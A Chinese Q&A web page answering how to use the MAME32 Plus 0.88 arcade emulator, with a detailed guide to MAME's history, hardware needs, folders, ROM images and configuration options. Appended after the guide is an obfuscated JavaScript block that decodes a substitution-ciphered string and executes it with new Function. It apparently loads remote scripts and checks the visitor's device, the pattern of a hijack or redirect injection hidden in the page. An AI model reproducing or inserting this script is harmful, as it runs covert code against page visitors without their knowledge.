MAME32 Plus 0.88中文版 的使用说明

2024-12-29 02:01:34
推荐回答(1个)
回答1:

  MAME是Multiple Arcade Machine Emulator,也就是"多类型街机模拟器"的简称,是一个DOS环境下的应用程序,由MAME小组开发。这是一个仍在不断更新、完善的模拟器,也是一个模拟街机游戏数量最多的模拟器——到目前最新的.37 beta10 版本(2K1001)已超过2000个街机游戏,许多现在市面上已经绝迹的老游戏,已经和正准备在MAME上恢复青春。MAME走的是"多机种制霸"的路线,大肆入侵原来由Callus、NeoRage、Rage、Raine、M72、Shark等等贫机种模拟器所盘踞的领域,目前,已经模拟了以Z80族、6502族、6800族等8位CPU和以68K族等16/32位CPU为主处理器的多种街机基板,其中包括了大名鼎鼎的Capcom System 1和SNK MVS(Neo Geo)这样的王牌16位基板,使得MAME成了Callus和NeoRage之外的又一顶尖选择。自96年诞生以来,MAME在以Nicola Salmoria为主程序员的制作小组以及许多协力人员的共同努力之下,在各方面持续吸收先进技术,不断进行版本更新,支持新的硬件,增加被模拟游戏的数量,为MAME成为模拟器王者奠定了坚实的基础。
  MAME主要是用C语言进行编程的,使用Allegro工具开发包。它还是模拟器界少有的完全开放源代码的模拟器之一,任何人想对MAME进行修改的话,只要同意把自己所用的代码公开,并遵循他们制定的规则(主要是:不得用于商业牟利等等),MAME小组就允许他对MAME加以改进并自由发行。基于这种特性,其他的程序员便可以自由的利用其源代码为蓝本编写出各种增强版本的MAME,使它成为拥有最多变种的模拟器,比较著名的有:对应各种流行OS的如MacMAME、LinuxMAME、OS2MAME、RISCMAME、BeOSMAME、WindowsCEMAME(为各种PocketPC所用)等,即便在PC平台上,也有专为AMD、 PII、486以及P54C等各种CPU进行优化的版本,以及C语言、汇编语言两个不同编译核心的版本;有专门模拟NeoGeo的KBMAME(For IBM)、NeoMAME(For Mac),以及一些局部增强版的MAME,如提供按键连发功能的EmuPlus、图像输出功能增强的VsyncMAME、AdvanceMAME等;还有一个利用其源码编写的跨越家用机、早期8-16位电脑平台的多用模拟器MESS(反正核心都是68K、Z80、6502之类CPU的模拟);值得一提的是一个用在柯达DC220/260/265/290数码相机上的版本MAMED,虽然我没有用过这个相机版,详细的情况还不是太了解,但是鉴于现在的FlashMemory卡容量越来越大,我想这个版本在游戏的存储上应该没有什么问题(当然暂不包括NeoGeo类的超大游戏),如果再能增添手柄之类方便于控制的外设,或许相机版MAME能够成为目前任何一款游戏掌机的劲敌——只是价格障碍实在太大;MAME team还发行一个名为MAME32的Windows版本,具备标准的GUI界面,大大方便了众多初级玩家,同样的,它也拥有支持TCP/IP协议的NETMAME32、非官方版本UOMAME32、多国语言提示的MAMELang、Neogeo专用增强版本NMAME32等多个变种。我现在介绍的就是新发行的官方版本MAME和MAME32,至于其他的衍生版,相信大家看完本文之后,一定会触类旁通的。
  一、 系统需求:
  自然是越高级越好了,不过至少都要P166MMX/32M/Vesa2.0显卡,这个级别的机器可以让你的模拟器完美的运行所有8bit主CPU的街机游戏,但是对于以68K这样的16bitCPU为主处理器的基板的模拟就差一点了,显示帧速率在25-50fps左右,Neogeo类的大容量的游戏速度还更慢一些。虽然这样的帧速率较街机标准60fps还有一定差距,但是马马虎虎也可以接受了。以目前的状况来说,一台300Mhz+以上的100兆外频CPU+64M内存就基本可以满帧跑MAME所有的游戏了,如果你想在街机显示器上使用MAME,那么最好选用自带VBE3.0的显卡,SDD是没有用的。此外,因为内存管理的原因,在纯DOS下工作时,MAME需要调用一个保护模式下的管理软件cwsdpmi.exe共同与之工作,我们必须将这个程序放在path指定的路径之内。
  二、 MAME的获得与安装:
  作为一个完全免费的模拟器, MAME的各个版本基本上都是在网上以Zip文件形式发行的,我们可以去到其官方站点下载回来使用。当然了,对于这样一个著名的模拟器,国内外许多大大小小的模拟器站点也都会提供相关下载,比如Emuhq、Classicgaming、Arcade@Home等,过去国内的模拟器站点一般只提供指向国外服务器的下载链接,现在也都提供本地下载了。在一阵风的bleem!、impact等等的热潮过后,MAME这个持续更新的老牌模拟器正逐渐为本土的玩家所重视,国内许多的站点已经同步提供新版本的MAME本地下载了。一些光碟杂志也会附带有MAME,但时效性不强。
  获得MAME的Zip文件后,用Winzip之类程序将其解压至你所指定的目录,安装就算完成了,如果你使用DOS版的PKzip来解压,请记得加上 -d 参数以确保解压后的目录结构的准确性。MAME主目录下有以下几个目录,用于存放相关数据:
  <HI>存放游戏最高分存档;
  <SNAP>存放游戏抓图,旧版本的抓图目录名为<PCX>,而MAME32的相同功能目录过去名为<IMAGES>,自.37b5起改为与DOS版相同的<SNAP>了;
  <INP>存放游戏纪录;
  <CFG>存放对应每一个已经运行过的游戏的配置文件;
  <STA>存放游戏状态数据;
  <MEMCARD>NeoGeo游戏专用的虚拟记忆卡;
  <ROMS>顾名思义,存放各种ROM的缺省目录;
  <SAMPLES>存放游戏声音采样数据的目录。
  <NVRAM>存放有关基板参数设定的目录,作用和基板上用于存放调试参数的SRAM是一样的。
  <FLYERS>MAME32专用,存放游戏海报图像文件的目录。
  <CABINETS>MAME32专用,存放街机箱体照片图像文件的目录。
  <ICONS>MAME32专用,存放游戏小图标的目录。
  三、 ROM镜像文件:
  MAME只是一个模拟器程序,如果要玩被模拟的街机游戏,还需要这个游戏的ROM镜像文件。通常,街机上的游戏文件都是放在诸如mask ROM(掩膜只读存储器)、EPROM/EEPROM(可擦写存储器)等半导体存储器集成电路芯片当中并固定在基板上的——这种高速但昂贵的存储方式至今未有太大改变——要把这些ROM芯片直接用于PC上当然不是很方便,于是便有人以专门的读写器将街机基板上每一颗ROM芯片内的内容全部拷贝出来,形成一一对应的电脑文件,这就是模拟器可用的ROM镜像文件的由来,而进行这项工作的人就是受到我们广大模拟器爱好者所尊敬的Dumper了;现在在互联网上传播的ROM镜像一般都是经过压缩打包的Zip格式,但我们在使用的时候不必将其解开——和其他模拟器一样,MAME很早(从V.31开始吧)就支持Zip文件的直接内存展开操作了。这样就大大节省了我们的存储空间。为方便管理,我们最好把这些ROM文件放入专门的目录。
  平常我们在玩MAME的时候,可能会遇上这样的问题:旧版本MAME用得好好的ROM文件,新版本的MAME却给出"xxxx文件校验错误、xxx文件未找到"这样的提示并拒绝执行,或者勉强执行后,部分功能却失效了之。这是怎么回事呢?原来,除去ROM文件真的不存在、ROM路径指向错误(下文祥述)之外,ROM的版本问题就是造成这种现象的主要原因。有的游戏ROM在拷贝的时候,由于dumper自身的技术水平或所用读写器的限制,造成了部分数据丢失、错误或无法完全读出,导致ROM镜像残缺。之后又有人重新制作,或修正,或补充,把过去错误的ROM版本补完。新版的模拟器当然要支持矫正了的ROM,所以旧的ROM就不能用了,解决的办法就是更新你的ROM镜像——当然了,使用旧版本的MAME也可以。下载站点我个人推荐Emuviews,这个站点的ROM分门别类摆放,非常齐全,而且几乎都是更新版的,并随着模拟器的更新不断补充新的ROM,还有最重要的一个优点就是:下栽速度极快。另外还有一个我强烈推荐的MAME ROM专门站:www.mame.dk,该站内建ROM搜索引擎,这个搜索引擎可比emuviews的强多了,ROM数量可以说是最齐全的,速度也不错,另外,该站对每一个ROM的描述也是非常的完备(现在,Emuviews也提供了类似mame.dk那样的ROM下载、评价页面了)。此外,网上还有其他专门的补完ROM站,读者可在文末的MAME资源中查到。
  顺便提一句:MAME使用的各个ROM文件都是各个游戏公司的呕心沥血之作,版权也是属于各自的制作公司的,如果你没有对应的街机基板,拥有这些ROM是非法行为,这个原则大家一定要清楚。
  四、 MAME主要配置参数:
  既然是DOS下的应用程序,MAME不可避免的就需要用命令行的方式来启动各种游戏和激活各项参数,呵呵,又回到了“遥远”的DOS时代了……OK,言归正传,MAME的运行命令为:mame [游戏ROM名] [参数]
  [游戏ROM名]这一项要求填入MAME规定的游戏名称,实际上就是ROM的Zip文件名。MAME对游戏名的正确输入要求较高,所以最好不要对下载的ROM文件进行改名操作。现在的MAME包含了一个ROM名比较程序来处理ROM名问题:当你输入的游戏名不正确时,ROMCMP.EXE会在MAME的游戏名库中找到一个最接近你所输入文字的游戏名并执行之。对于第一次运行的ROM,MAME会出现一个版权提示,而那些游戏模拟程度上有些问题的ROM,则每一次运行都会提示该游戏部分功能不齐全,我们看完这些提示后,按照其要求顺序按"O""K"(或者按方向键“左”、“右”亦可)两个健就能继续游戏了。和NeoRage一样,如果需要运行NeoGeo的游戏的话,还必须拥有一个名为neogeo.zip的BIOS压缩档,其中包含neo-geo.rom、ng-sfix.rom、ng-sm1.rom、ng-lo.rom等几个文件,这个压缩档可以在我的主页上找到。我们最好把这个zip包放在MAME的<ROMS>子目录当中。
  MAME的各项参数都放在名为mame.cfg的配置文件中,这是一个由MAME自动生成的文件,由于MAME的每一次更新都可能对这个配置文件的语句做出修改,所以建议各位玩家不要把旧版本MAME使用的mame.cfg沿用到新的版本,因为这样可能会导致MAME工作的不正常。另外,你也可以把参数加入命令行之内,虽然两者的作用和句法基本是一样的,但命令行参数的优先级别高于配置文件,也就是说,对同样的一个参数,MAME将执行命令行设定并忽略配置文件内的相同选项设定。下面就介绍一下MAME的几个主要的配置命令:
  [directory]栏,本栏目定义路径,需要修改的只有一项:
  rompath,缺省配置是MAME所在路径及其下的ROMS子目录,当你的ROM还存在于另外的目录时,可以采用追加的方式,例如:
  rompath = .;ROMS;f:\download\emu\roms;f:\neogeo,追加的目录之间用分号隔开即可,这样MAME在执行时就会在指定的四个路径范围内搜寻ROM。
  [config]栏,本栏是模拟器执行参数设定栏,主要参数解释如下:
  tweak = no 关闭非标准VGA模式,此为缺省设定。MAME支持256x224、288x224、256x256、304x224、384x224之类的街机原始分辨率,这些都是与电脑标准VGA模式不同的模式,如果你的显示卡、显示器支持这些tweaked分辨率,可以将此选项设为yes,显示速度会比VESA模式快一些。
  scanlines = yes 打开隔行显示模式;由于街机显示分辨率一般都比较低,打开这个类似于两行画面水平线之间插入一条黑线效果的选项,会让你觉得PC上显示的图像不是太粗糙到难以接受,同时也有一种街机显示器的感觉;基本上,这种隔行显示模式是每一个低分辨率游戏机(小于640x480)模拟器的缺省设定,其中包括了绝大部分2D街机模拟器、FC模拟器、SFC模拟器、MD模拟器、PCE模拟器等,不过某些模拟器的隔行显示图像的场频高达100Hz以上,比如Rage、NESticle(256x256模式),如果这个数值超过了你的显示器的场频允许范围,那么就不能实现隔行显示,而会变成高亮度的、看起来象是被压缩的画面,甚至花屏、黑屏。如果出现这种情况的话,为了确保你的显示器的安全,最好是把隔行显示模式关闭。
  stretch = yes 打开像素延展选项,使得显示的画面尽可能的大,会降低游戏速度,除非你的机器配置过低,否则不要关闭之;
  vesamode = vesa3 选择VESA画面优化模式,由vesa1、vesa2b、vesa2l、vesa3等4 项可选,该用哪一项取决于你的显卡自带的VBE版本,对于新的显示卡,比如Voodoo3、TNT2之类,可以选择vesa3,若你的显卡比较老(9750、765),则应该选择vesa2b/vesa2l,超老的8900、3105就只能选vesa1了,实在不行的话还得需要SDD来驱动。
  resolution = auto由模拟器自动选择显示分辨率;我们可以把auto改为800x600或者1024x768来获得接近满屏的画面,不过由于大部分街机游戏显示分辨率本来就很低,拉大之后你可能会觉得画面更粗糙了;另外,更改成上述数字后,纵版游戏和分辨率在300x200以上的横版游戏的画面反而变小了。
  depth = 16 选择16位显示颜色深度,某些游戏需要16位高彩色才能正确显示,比如NeoGeo类、Cave类等;有必要时可以把它降到8位色以提高游戏速度。
  gamma = 1.0000000 设置伽马系数,数字越大画面越亮,可用热键控制。
  frameskip = auto 自动跳帧调节,适用于大多数机器,在低配置的机器上,若你觉得游戏太慢,可以在游戏中按F9键来加大跳帧数以取得较满意的游戏速度。
  注:所谓的跳帧(frame skip),就是减少单位时间内显示的帧画面,比如60fps(frames per second,意每秒钟显示连续的60帧静止画面)的画面只显示其中的一部分,也就是50fps、40fps甚至30fps的效果,这固然对提高显示速度有益,但同时也会造成角色动作不连贯、画面跳跃式进行的恶果,几乎每一种模拟器都有这个可调节的选项。
  soundcard = 1 声卡选择,数字表示:0-无声,1-声霸卡及兼容,3-Pro Audio Spetrum, 4-UltraSound Max,5-UltraSound,6-Windows Sound System,7-Ensoniq Soundscape,一般选1或6就行了,除非你用的是表列中别的声卡。使用创新SB64PCI、SB128PCI 和 Ensoniq Soundscape PCI声卡的用户最好选 7。缺省值为-1,即在初始化程序时列出声卡类型供手动选择。如果遇到声卡实在无法通过MAME的辨认而又想玩游戏,只能选用0了。
  ym3812opl = no 禁用SoundBlaster的OPL芯片来模拟YM3812 FM音源,虽然这两者硬件100%兼容,模拟执行速度也加快,但打开这个选项会使音量控制失效。
  samplerate = 44100 声音采样频率选择,可选11025、22050、44100三项,单位hz,数字越大,声音还原越好,游戏速度也越慢,命令行简写为:sr。
  samplebits = 16 声音采样深度,可选8、16位,效果同上一项,命令行简写为:sb。新版本的MAME去掉了这个选项,改为自动识别了。
  stereo = yes 打开立体声选择,会降低游戏速度,本项自动对单声道游戏无效。
  volume = 0 音量衰减控制,可选数字是负值,单位是分贝,例如"volume -3"意为游戏音量降低3分贝,可在游戏时用键"~"直接调节,祥见下文第五部分。
  mouse = yes 启用鼠标,用于光枪游戏的准星控制及"怒"类游戏的转向控制。
  ror/rol 屏幕右/左转90度显示,可使纵版游戏满屏显示
  joystick = name 游戏控制器选择,缺省为:none 键盘控制,MAME支持的游戏控制器很多, name是它们的名字,分别为:
  auto:自动检测,只能测出标准2键、Creative眼镜蛇、gamepad pro等少数种类的手柄,还是不要用这个选项的好;
  standard:标准2键模拟式手柄 @1P
  dual:双标准2键模拟式手柄 @2P
  4button:标准4键模拟式手柄 @1P
  6button:标准6键模拟式手柄 @1P
  8button:标准8键模拟式手柄 @1P
  fspro:CH flightstick PRO飞行摇杆 @1P
  wingex:Wingman Extreme 飞行摇杆 @1P
  wingwarrior:Wingman Warrior 手柄 @1P
  sidewinder:微软响尾蛇手柄 @4P
  gamepadpro:Gravis gamepad pro手柄
  grip:Gravis GrIP手柄
  grip4:限定4轴向的Gravis GrIP手柄
  /* 以下为并行打印口手柄,均易于自制,
  sneslpt1:接在第一打印口的超级任天堂手柄 @4P
  sneslpt2:接在第二打印口的超级任天堂手柄 @4P
  sneslpt3:接在第三打印口的超级任天堂手柄 @4P
  psxlpt1:接在第一打印口的SONY PS手柄 @4P
  psxlpt2:接在第二打印口的SONY PS手柄 @4P
  psxlpt3:接在第三打印口的SONY PS手柄 @4P
  n64lpt1:接在第一打印口的任天堂64手柄 @2P
  n64lpt2:接在第二打印口的任天堂64手柄 @2P
  n64lpt3:接在第三打印口的任天堂64手柄 @2P
  注:1、模拟式手柄初次使用或者出现方向混乱故障时可以在游戏中按Tab进入设定菜单调用Calibrate joystick功能进行校正,数码式手柄则不会存在这种问题。
  2、@1P表示只能单打,@2P表示可以双打,@4P表示可以四打,未标注则为不祥。超任和PS的手柄理论上能达到5P的效果(我只试到了4P,未再继续,呵呵)。
  3、不直接支持创新公司的Cobra手柄(工作于数码方式时)和并口土星手柄;MAME内建有对IF-SEGA的支持,这是一种专用的扩展卡,可以把世嘉土星手柄接到PC,过去处于起步时期的第一批3D图形卡就把它跟着PC版的VR战士、装甲飞龙等游戏软件一起捆绑销售,现在已经看不到了。
  4、PS dual shock手柄的两个模拟小摇杆亦可当作按键使用,左、右摇杆按下时分别被识别为L3和R3(用处不大)。
  5、用于命令行时,语句可简化为 joy。
  6、使用并口手柄对游戏速度降低影响较大。大体上各种手柄的CPU占用率由高到低依次为:PS、SFC、SS/MD、标准模拟式。
  7、不支持异类手柄混用,但是可以手柄、键盘同时使用。
  hotrod = no 键盘接口摇杆支持(就是在Emuviews主页上打广告那个双人摇杆)设定,因为我们用不上,所以选no。
  cheat = no 作弊功能开关,可以改成yes以打开它,最好配合作弊数据使用。
  debug = no 除错、调试模式开关,高级用户选用,这个功能只有在源程序中打开debug选项才有用。
  monitor = standard 设定显示输出类型,对于PC用户选择standard,另外还可以选择以下设备:
  ntsc:输出至NTSC电视监视器
  pal:输出至PAL电视监视器
  arcade:输出至街机监视器
  均需要特殊方式转换信号及相关硬件支持,有兴趣可参看下文第九节。
  至于其他的栏目和选项,只要保留其缺省设定即可。如果上面各项参数用于命令行,请在其之前加一个"-"号,同时可以把"="去掉,例如:
  mame ddragon2 -joy psxlpt1 -soundcard 6 -resolution 800x600
  由于MAME的使用显得繁琐了一些,也有不少方便对DOS比较陌生的玩家的MAME前端(front end)程序被开发出来,这些程序具备亲和性较高的GUI图形界面,配置菜单里基本上囊括了MAME的各个选项,一般玩家通过这些前端程序都能很方便的玩转MAME了。由于我使用过的前端程序并不多(只有ArcadeOS一个,还是因为其无可替代的特殊功能采用的),所以对他们也不是很熟悉,传说中arcade@home是比较好用的,大家可以去它的主页http://arcadeathome.efront.com下载?..∮肕AME32好了。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();